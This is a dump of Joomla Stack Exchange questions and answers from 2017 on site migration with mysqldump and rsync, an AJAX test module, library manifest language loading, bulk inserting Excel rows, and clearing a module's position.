LastEditorUserId="9649" LastEditDate="2017-02-08T05:27:03.777" LastActivityDate="2017-02-08T05:27:03.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19086" PostTypeId="2" ParentId="19083" CreationDate="2017-02-07T17:21:56.257" Score="4" Body="&lt;p&gt;If you have enough rights on the server, I do it without any downtime and without Akeeba. I use a script like&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a dump of the mysql joomla database, store the file in a directory which is not readable by apache server (not accessable through user www-data [ubuntu, etc] or http [arch linux,..]):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mysqldump -h hostname -u user --password=password databasename &amp;gt; filename&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RSYNC the whole installation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rsync -avz &amp;lt;server&amp;gt;:/&amp;lt;joomla_directory&amp;gt;&#xA;&amp;lt;joomla_directory_localhost&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exclude some files like the configuration.php if necessary...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;READ-IN the database file&#xA;&lt;code&gt;mysql -h hostname -u user --password=password databasename &amp;lt; filename&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Security:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a password file instead of &lt;code&gt;--password=password&lt;/code&gt; if the servers are used by multiple users because anyone could read the password from the process line during the database dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do these steps not only synchronizing for a test server on localhost, but also mirroring the whole server to another location once a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is a better solution?&lt;/p&gt;&#xA;" OwnerUserId="7023" LastEditorUserId="7023" LastEditDate="2017-02-07T17:27:09.007" LastActivityDate="2017-02-07T17:27:09.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19087" PostTypeId="2" ParentId="19083" CreationDate="2017-02-07T18:17:42.487" Score="3" Body="&lt;p&gt;There are a couple of approaches. Using @Tom Kuschel suggestion with rsync if you have such privileges is one. But there are others as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the only changes are on the db level, you could simply create the new database, import your data and then connect Joomla to that database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connecting Joomla to another database (and remote databases) can work also when you transfer the site from one server to another alongside with DNS changes, assuming you can allow remote connections to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you also need to update the code base, then it's always better to have deployed and tested the new version on the server. I usually first setup the new version on a subfolder make sure it works as expected (that includes having the customer to review/test it) and then I switch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For switching I usually put the old website files inside a folder, and then move the contents of the subfolder of my test version to the document root. When I confirm everything is in place, I am changing the log/tmp directory paths if required on the configuration.php and I am done. This is usually only some seconds task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to change the document root of the hosting account to point to that new directory. This way, the switch will be instant. &#xA;Consult the documentation of your control panel or ask support from your hosting provider for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some additional thoughts regarding downtime for maintenance and updates:&lt;/strong&gt;&#xA;After the years and many migrations/site moves, I have concluded that some minimum downtime in many cases is acceptable, preferable, and in some cases necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more professional approach is to have scheduled and informed all those that are involved/using the site about this and have prepared a temporary page to display during the migration. I suggest to have first try the migration to have an idea of the time it will take alongside with other things that might come in your way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these are more important if the website you are working has user updated content. Such migrations are a whole different thing than a rather static website. You need to ensure that your new version will have all the latest content. So in such cases you need a very good plan that has been tested before. And of course you can't avoid downtime.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-07T18:17:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19088" PostTypeId="1" CreationDate="2017-02-07T18:29:34.423" Score="1" ViewCount="1226" Body="&lt;p&gt;I'm trying to create my own ajax module. When I submit the form I'm getting a 404 post error. Any idea what went wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_ajax_test.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;module&quot;&#xA;           version=&quot;3.0&quot;&#xA;           method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Ajax Test&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;February 7, 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Striker8472&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;http://doa-x.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2017 doa-x.com. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2, or later.&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Ajax Test&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_ajax_test&quot;&amp;gt;mod_ajax_test.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_ajax_text.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * File       mod_ajax_test.php&#xA; * Created    2/7/17 17:12 PM&#xA; */&#xA;&#xA;// Include the helper.&#xA;require_once __DIR__ . '/helper.php';&#xA;&#xA;// Instantiate global document object&#xA;$doc = JFactory::getDocument();&#xA;&#xA;$js = &amp;lt;&amp;lt;&amp;lt;JS&#xA;(function ($) {&#xA;    $(document).on('click', 'input[type=submit]', function () {&#xA;        var value   = $('input[name=data]').val(),&#xA;            request = {&#xA;                    'option' : 'com_ajax',&#xA;                    'module' : 'mod_ajax_test',&#xA;                    'data'   : value,&#xA;                    'format' : 'raw'&#xA;                };&#xA;        $.ajax({&#xA;            type   : 'POST',&#xA;            data   : request,&#xA;            success: function (response) {&#xA;                $('.status').html(response);&#xA;            }&#xA;        });&#xA;        return false;&#xA;    });&#xA;})(jQuery)&#xA;JS;&#xA;&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_ajax_test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * File       helper.php&#xA; * Created    2/7/17 17:12 PM&#xA; */&#xA;class modAjaxTestHelper&#xA;{&#xA;    public static function getAjax()&#xA;    {&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;        $data  = $input-&amp;gt;get('data');&#xA;&#xA;        return 'Your text here: ' . $data . '!';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * File       default.php&#xA; * Created    2/7/17 17:12 PM&#xA; */&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;data&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div class=&quot;status&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="126" LastEditDate="2017-09-09T16:09:51.680" LastActivityDate="2017-09-09T16:09:51.680" Title="AJAX test module is not working. POST 404 error" Tags="|module|jquery|joomla-3.6|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19089" PostTypeId="2" ParentId="19083" CreationDate="2017-02-07T20:43:49.080" Score="3" Body="&lt;p&gt;When we do a site upgrade like this we use a temp folder and Akeeba. Simply create a new folder for for the updated site and install it using Akeeba. Make sure you use a new database so the entire new site is fully functional in the folder. Once you are satisfied that everything works, move the entire current Joomla install into a folder, then move the new Joomla install into the root. Using the cPanel file manager this takes less than a minute to move the files around, plus if something goes wrong, it's very easy to switch the versions around again.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2017-02-07T20:43:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19091" PostTypeId="2" ParentId="19076" CreationDate="2017-02-08T00:43:03.530" Score="1" Body="&lt;p&gt;I found the relevant part of code in an &lt;a href=&quot;https://github.com/openshift/joomla-example/blob/master/php/libraries/joomla/installer/adapters/library.php#L33&quot; rel=&quot;nofollow noreferrer&quot;&gt;example joomla project&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function loadLanguage($path = null)&#xA;{&#xA;    $source = $this-&amp;gt;parent-&amp;gt;getPath('source');&#xA;    if (!$source)&#xA;    {&#xA;        $this-&amp;gt;parent-&amp;gt;setPath('source', JPATH_PLATFORM . '/' . $this-&amp;gt;parent-&amp;gt;extension-&amp;gt;element);&#xA;    }&#xA;    $this-&amp;gt;manifest = $this-&amp;gt;parent-&amp;gt;getManifest();&#xA;    $extension = 'lib_' . strtolower(JFilterInput::getInstance()-&amp;gt;clean((string) $this-&amp;gt;manifest-&amp;gt;name, 'cmd'));&#xA;    $name = strtolower((string) $this-&amp;gt;manifest-&amp;gt;libraryname);&#xA;    $lang = JFactory::getLanguage();&#xA;    $source = $path ? $path : JPATH_PLATFORM . &quot;/$name&quot;;&#xA;    $lang-&amp;gt;load($extension . '.sys', $source, null, false, false)&#xA;        || $lang-&amp;gt;load($extension . '.sys', JPATH_SITE, null, false, false)&#xA;        || $lang-&amp;gt;load($extension . '.sys', $source, $lang-&amp;gt;getDefault(), false, false)&#xA;        || $lang-&amp;gt;load($extension . '.sys', JPATH_SITE, $lang-&amp;gt;getDefault(), false, false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is present in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6833955cfbc0f1914751ab4c110b9b4e332eee3b/libraries/cms/installer/adapter/library.php#L161&quot; rel=&quot;nofollow noreferrer&quot;&gt;current joomla version&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function loadLanguage($path = null)&#xA;{&#xA;    $source = $this-&amp;gt;parent-&amp;gt;getPath('source');&#xA;    if (!$source)&#xA;    {&#xA;        $this-&amp;gt;parent-&amp;gt;setPath('source', JPATH_PLATFORM . '/' . $this-&amp;gt;getElement());&#xA;    }&#xA;    $extension = 'lib_' . $this-&amp;gt;getElement();&#xA;    $librarypath = (string) $this-&amp;gt;getManifest()-&amp;gt;libraryname;&#xA;    $source = $path ?: JPATH_PLATFORM . '/' . $librarypath;&#xA;    $this-&amp;gt;doLoadLanguage($extension, $source, JPATH_SITE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the first code is easier to understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$extension = 'lib_' . strtolower(JFilterInput::getInstance()-&amp;gt;clean((string) $this-&amp;gt;manifest-&amp;gt;name, 'cmd'));&#xA;$name = strtolower((string) $this-&amp;gt;manifest-&amp;gt;libraryname);&#xA;$lang = JFactory::getLanguage();&#xA;$source = $path ? $path : JPATH_PLATFORM . &quot;/$name&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the extension name will come from the manifest.name and not from the manifest.libraryname. I changed my code from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/name&amp;gt;&#xA;&amp;lt;libraryname&amp;gt;example&amp;lt;/libraryname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;example&amp;lt;/name&amp;gt;&#xA;&amp;lt;libraryname&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/libraryname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now it works properly. Interesting that every example I read about manifest.libraryname is completely wrong about this. The current version appears to have the same trait, so if this is a bug I think it is not fixed yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you don't need the &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; element, it is a Joomla 1.5 relic according to the documentation. It is important to keep the subdirectories and the naming convention. &lt;code&gt;ln-LN/ln-LN.com_example.sys.ini&lt;/code&gt;. The manifest uses the &lt;code&gt;*.sys.ini&lt;/code&gt; file for translations. I guess the other ini file is used by the running component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my manifest file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;component&quot; version=&quot;3.4&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&#xA;    &amp;lt;name&amp;gt;example&amp;lt;/name&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;January 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;inf3rno&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;xxx@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;license&amp;gt;MIT&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.9&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;COM_EXAMPLE_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;scriptfile&amp;gt;installer.php&amp;lt;/scriptfile&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;media&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;administration&amp;gt;&#xA;        &amp;lt;menu&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;            &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;media&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I put the language files to subfolders.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-02-08T00:57:00.493" LastActivityDate="2017-02-08T00:57:00.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19092" PostTypeId="1" AcceptedAnswerId="19095" CreationDate="2017-02-08T05:32:49.433" Score="2" ViewCount="649" Body="&lt;p&gt;I am developing a component from which user can upload excel sheet and the data must be saved into database. When excel sheet rows are &lt;code&gt;250&lt;/code&gt; then insertion works fine but when the rows are &lt;code&gt;2500&lt;/code&gt; or more it gives a blank page with no error and rows are not inserted completely into the database. I am using &lt;code&gt;PHPExcel&lt;/code&gt; library for importing excel sheets. Following is the code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;controllers/fileuploads.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function uploadData($fileData, $data,$tablename){&#xA;&#xA;//Validate file by checking if excel sheet is uploaded&#xA;$isValid = $this-&amp;gt;validateFileType($fileData);&#xA;&#xA;if($isValid){&#xA;&#xA;    $inputFilename = $fileData['excelfile']['tmp_name'];&#xA;    try {&#xA;        $objPHPExcel    = PHPExcel_IOFactory::load($inputFilename); //read the spreadsheet workbook&#xA;    } catch (Exception $e) {&#xA;        die('Error loading file &quot;'.pathinfo($inputFilename,PATHINFO_BASENAME).'&quot;: '.$e-&amp;gt;getMessage());&#xA;    }&#xA;&#xA;    //  Get worksheet dimensions&#xA;    $sheet = $objPHPExcel-&amp;gt;getSheet(0);&#xA;    $highestRow = $sheet-&amp;gt;getHighestRow();&#xA;    $highestColumn = $sheet-&amp;gt;getHighestColumn();&#xA;    for ($row = 4; $row &amp;lt;= $highestRow; $row++){&#xA;      // Read a row of data into an array&#xA;      $rowData = $sheet-&amp;gt;rangeToArray('A' . $row . ':' . $highestColumn . $row);&#xA;&#xA;      if(!empty($rowData[0][0])){ //if row is null&#xA;           //  Insert row data array into database&#xA;           $isInserted = $this-&amp;gt;insertData($rowData, $data);&#xA;      }&#xA;&#xA;     }// excel for loop ends&#xA;&#xA;   if($isInserted){&#xA;    //redirect after importing the data from excel into database&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_mycomponent&amp;amp;view=fileuploads', false), 'File uploaded successfully','message');&#xA;   }&#xA;&#xA;}//if($isValid)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;controllers/fileuploads - insertData method:&lt;/strong&gt; this method calls different model methods based on which section's sheet is uploaded. Ex. &lt;code&gt;Section Test&lt;/code&gt; will call a method &lt;code&gt;getInsertSectionTest()&lt;/code&gt; from the model. There are 6 different sections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;models/fileupload.php:&lt;/strong&gt; Following is the code for inserting data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getInsertSectionTest($rowData, $data){&#xA;  $objData = new stdClass();&#xA;  $objData-&amp;gt;section_id = $data['section'][0];&#xA;  $objData-&amp;gt;category = str_replace(&quot;'&quot;,&quot;&quot;,$rowData[0][0]);&#xA;  $objData-&amp;gt;subcategory = str_replace(&quot;'&quot;,&quot;&quot;,$rowData[0][6]);&#xA;  $objData-&amp;gt;year = $data['year'];&#xA;  $objData-&amp;gt;number_type = $rowData[0][7];&#xA;  .&#xA;  . // and so on&#xA;  .&#xA;  $objData-&amp;gt;region_northwest = $rowData[0][43];&#xA;  $objData-&amp;gt;region_southwest = $rowData[0][44];&#xA;  $objData-&amp;gt;region_unknown = $rowData[0][45];&#xA;&#xA;  $insertResult = JFactory::getDbo()-&amp;gt;insertObject('#__testsection_tablename', $objData);&#xA;&#xA;  if( $insertResult){&#xA;    return true;&#xA;  }&#xA;  else{&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_mycomponent&amp;amp;view=fileuploads', false), 'Data could not be imported. Please try again' ,'error');&#xA;    return false;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Kindly, let me know how more than 2000 rows be inserted at once. I also referred this &lt;a href=&quot;https://joomla.stackexchange.com/questions/5661/can-multiple-records-be-inserted-all-at-once-with-the-jdatabase&quot;&gt;question&lt;/a&gt; but not able to form the array of values to be inserted. &lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-02-08T08:46:23.337" Title="Bulk insert records in database from excel" Tags="|joomla-3.x|custom-component|file-upload|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19093" PostTypeId="2" ParentId="19062" CreationDate="2017-02-08T07:26:41.403" Score="0" Body="&lt;p&gt;Since I don't want to dev two apps, like Joomla recommends, and I don't want to use MVC, I decided to put everything into a single folder under the same namespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manifest file looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;component&quot; version=&quot;3.4&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&#xA;    &amp;lt;name&amp;gt;example&amp;lt;/name&amp;gt;&#xA;    &amp;lt;!-- ... --&amp;gt;&#xA;&#xA;    &amp;lt;scriptfile&amp;gt;installer.php&amp;lt;/scriptfile&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;Example&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;!-- ... --&amp;gt;&#xA;&#xA;    &amp;lt;administration&amp;gt;&#xA;        &amp;lt;menu&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;            &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;folder&amp;gt;Example&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;        &amp;lt;!-- ... --&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My class declarations are in the Example folder and the classes are defined under the Example namespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the following code in the common &lt;code&gt;example.php&lt;/code&gt; entrypoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('Example', JPATH_COMPONENT);&#xA;&#xA;use Example\Component;&#xA;&#xA;Component::getInstance()-&amp;gt;run();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-08T07:26:41.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19094" PostTypeId="2" ParentId="19074" CreationDate="2017-02-08T08:24:51.037" Score="1" Body="&lt;p&gt;Thank you for that comment, @Liz, that pointed me to the solution. I already had the &lt;code&gt;ordering&lt;/code&gt; field, but now I found out that it only works, if the controller of the list-view points to the model for the form-view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyCompControllerOrderings extends JControllerAdmin&#xA;{&#xA;    public function getModel($name = 'MyModelForTheTable', $prefix = 'MyCompModel', $config = array('ignore_request' =&amp;gt; true)) {&#xA;        $model = parent::getModel($name, $prefix, $config);&#xA;        return $model;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this model only works, if it defines &lt;code&gt;public function getTable&lt;/code&gt; and &lt;code&gt;public function getForm&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It seems not to be enough to define the &lt;code&gt;getTable&lt;/code&gt; method, but why?&lt;/p&gt;&#xA;&lt;p&gt;Anyhow, now it works.&lt;/p&gt;&#xA;" OwnerUserId="9647" LastEditorUserId="12352" LastEditDate="2022-04-14T11:35:05.073" LastActivityDate="2022-04-14T11:35:05.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19095" PostTypeId="2" ParentId="19092" CreationDate="2017-02-08T08:46:23.337" Score="3" Body="&lt;p&gt;I solved the issue. Problem was that when insert query was called in a loop 2000 times, deadlock occurred and returned a blank page. The solution to this is to construct one single insert query and then insert the values. Following is the code I added in model file - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of calling insert method in loop I formed the insert values array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$getValues = array();&#xA;&#xA;for ($row = 4; $row &amp;lt;= $highestRow; $row++){&#xA;    //  Read a row of data into an array&#xA;    $rowData = $sheet-&amp;gt;rangeToArray('A' . $row . ':' . $highestColumn . $row);&#xA;    if(!empty($rowData[0][0])){ //if row is null&#xA;        //  Insert row data array into database&#xA;        $getValues[] = $this-&amp;gt;getValuesModel($rowData, $data);&#xA;    }&#xA;&#xA;}// excel for loop ends&#xA;&#xA;$columns = $this-&amp;gt;getColumns($data); //call columns method to fetch different section's columns&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName($tablename));&#xA;$query-&amp;gt;columns($columns);&#xA;$query-&amp;gt;values($getValues);&#xA;$db-&amp;gt;setQuery($query);&#xA;$isInserted = $db-&amp;gt;query();&#xA;&#xA;if($isInserted){&#xA;    //redirect after importing the data from excel into database&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_componentname&amp;amp;view=fileuploads', false), 'File uploaded successfully','message');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For complete code and files, you refer &lt;a href=&quot;https://github.com/ruchikanagarkar/excelimport-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2017-02-08T08:46:23.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19096" PostTypeId="1" AcceptedAnswerId="19099" CreationDate="2017-02-08T11:00:20.513" Score="1" ViewCount="1104" Body="&lt;p&gt;I have a simple problem: When a module is created it can be saved without a position (showing as position 'none' in the list). But once any position is set, it can apparently be only changed to another and not cleared back to 'none'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I do not want to unpublish the module. I want to use it by other means (creating a module instance in Gantry 5 layout manager). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can re-create the module or create some hidden position for it, but it seems quite odd that the position couldn't be simply cleared when apparently modules without position can exist. Is there any way to achieve it?&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2017-02-08T17:11:47.973" Title="Remove module from template position (change to 'none')" Tags="|joomla-3.x|module|positions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19097" PostTypeId="2" ParentId="19096" CreationDate="2017-02-08T15:03:57.350" Score="2" Body="&lt;p&gt;There is no direct way (from what i know) to reset the module position to None but as you said you can create a new custom position named None or Empty and save the module on that position that way it won't be in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That new custom position is saved as an Active Position and will be deleted only if no module has it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to clear that position you can do it from the phpMyAdmin. Find the table prefix _modules search for your module and delete the position field.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-02-08T15:03:57.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19099" PostTypeId="2" ParentId="19096" CreationDate="2017-02-08T16:18:50.667" Score="2" Body="&lt;p&gt;Another solution is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you are editing the module, open the browser's console (Usually &lt;kbd&gt;F12&lt;/kbd&gt; and click on &lt;code&gt;Console&lt;/code&gt; tab), then type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;document.getElementById('jform_position').value = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the console and hit &lt;kbd&gt;Enter&lt;/kbd&gt;. Now you can save the module with an empty position AKA &lt;code&gt;none&lt;/code&gt; postion.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XuyJe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XuyJe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" 